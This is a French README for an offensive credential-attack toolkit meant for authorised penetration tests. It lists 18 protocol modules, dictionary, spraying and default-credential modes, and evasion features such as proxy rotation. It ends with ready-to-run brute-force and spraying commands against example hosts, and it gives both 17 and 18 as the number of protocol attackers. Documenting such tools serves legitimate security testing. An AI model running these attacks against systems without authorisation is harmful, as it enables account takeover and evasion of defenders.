
Suite complète d'attaques d'identifiants pour les tests de sécurité autorisés — SSH, FTP, Connexion Web, Force brute, Attaques par dictionnaire
⚠️ AVIS JURIDIQUE — Tests de sécurité autorisés UNIQUEMENT.
L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale en vertu du Computer Fraud and Abuse Act (États-Unis), du Computer Misuse Act (Royaume-Uni) et des lois équivalentes dans le monde entier. Voir SECURITY.md.
CredAttack est une suite de tests d'identifiants modulaire et de qualité production pour les engagements de tests d'intrusion autorisés. Elle couvre l'ensemble du cycle de vie d'une attaque d'identifiants :
| Phase | Capacité de CredAttack |
|---|---|
| Reconnaissance | Base de données d'identifiants par défaut (200+ paires), génération intelligente de motifs dérivés du nom d'utilisateur |
| Attaque | 17 attaquants de protocoles, 6 modes d'attaque, campagnes multi-cibles |
| Évitement | Détection de verrouillage, limitation de débit configurable, gigue, rotation de proxys |
| Rapports | Journal d'audit JSONL, rapport HTML Jinja2, bannière d'identifiants trouvés + export de fichier |
| Mode | Commande | Description |
|---|---|---|
| Dictionnaire | ssh, ftp, smb, … | Liste de mots contre un utilisateur |
| Spray | spray | Un mot de passe sur une liste d'utilisateurs (sans risque de verrouillage) |
| Combo | combo | Chaque utilisateur × chaque mot de passe |
| Intelligent | smart | Génération de motifs dérivés du nom d'utilisateur/entreprise |
| Défauts | defaults | Essaie plus de 200 défauts de services connus |
| Multi-cible | multi | Même attaque sur une liste d'hôtes |
| Pipeline complet | full | Tous les protocoles, un seul rapport |
| # | Protocole | Module | Port par défaut | Notes |
|---|---|---|---|---|
| 1 | SSH | ssh.py | 22 | paramiko, authentification par clé/mot de passe |
| 2 | FTP | ftp.py | 21 | Mode actif et passif |
| 3 | Formulaire HTTP | http_form.py | 80/443 | Détection automatique du jeton CSRF |
| 4 | HTTP Basic | http_basic.py | 80 | RFC 7617 |
| 5 | HTTP Digest | http_digest.py | 80 | RFC 7616 |
| 6 | SMB | smb.py | 445 | impacket, NTLM |
| 7 | RDP | rdp.py | 3389 | impacket NLA |
| 8 | SMTP | smtp.py | 587 | STARTTLS |
| 9 | POP3 | pop3.py | 110 | Prise en charge APOP |
| 10 | IMAP | imap.py | 143 | STARTTLS |
| 11 | MySQL | mysql.py | 3306 | mysql-connector-python |
| 12 | MSSQL | mssql.py | 1433 | pymssql |
| 13 | Redis | redis_proto.py | 6379 | Commande AUTH |
| 14 | MongoDB | mongodb.py | 27017 | pymongo |
| 15 | WinRM | winrm.py | 5985 | NTLM, pywinrm |
| 16 | LDAP | ldap_proto.py | 389 | ldap3, auto-détection rootDSE |
| 17 | Telnet | telnet.py | 23 | TCP brut |
| 18 | VNC | vnc.py | 5900 | Défi-réponse DES brut |
credattack.py ← shim léger : `python credattack.py ...` depuis un checkout
│
├── credattack/cli.py ← CLI (Typer) — 8 sous-commandes de modes d'attaque ; également le
│ script console `credattack` lorsqu'il est installé via pip
├── credattack/core/
│ ├── config.py ← Paramètres Pydantic v2, remplacements par variables d'environnement CREDATTACK_*
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + interface de progression Rich)
│ ├── lockout.py ← LockoutDetector (fenêtre glissante, thread-safe)
│ ├── proxy.py ← ProxyRotator (round-robin, vérification de santé, rétrogradation)
│ ├── mutator.py ← PasswordMutator (leet, saisonnier, suffixe, déplacement clavier…)
│ ├── result.py ← Classes de données AttemptResult + SessionReport
│ ├── report.py ← Générateur de rapports HTML Jinja2
│ └── logger.py ← Journalisation Rich + rédacteur de journal d'audit JSONL
│
├── credattack/protocols/
│ └── *.py ← 18 implémentations ProtocolAttacker
│
├── credattack/data/
│ ├── default_creds.json ← 200+ paires d'identifiants par défaut réels
│ ├── smart_patterns.json ← 140+ modèles de mots de passe d'entreprise
│ └── wordlists/ ← Listes de mots de passe par défaut par service
│
└── tests/ ← 50+ tests pytest (unitaires + simulations de protocoles)
# Cloner et configurer
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows : .venv\Scripts\activate
pip install -r requirements.txt
# Vérifier la version
python credattack.py --version
# Essai à blanc (aucune connexion établie — vérifiez vos listes de mots)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# Attaque par dictionnaire SSH réelle
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# Pulvérisation de mots de passe (limitée en débit, sans risque de verrouillage)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# Mode intelligent — générer des motifs à partir du nom d'utilisateur + de l'entreprise
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# Essayer les défauts de service
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# Campagne multi-cible
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
python -m venv .venv
source .venv/bin/activate # Windows : .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
make install # dépendances de base
make install-dev # + pytest-cov, ruff, mypy
pip install -e . # dépendances de base uniquement
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # script console, équivalent à `python credattack.py`
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help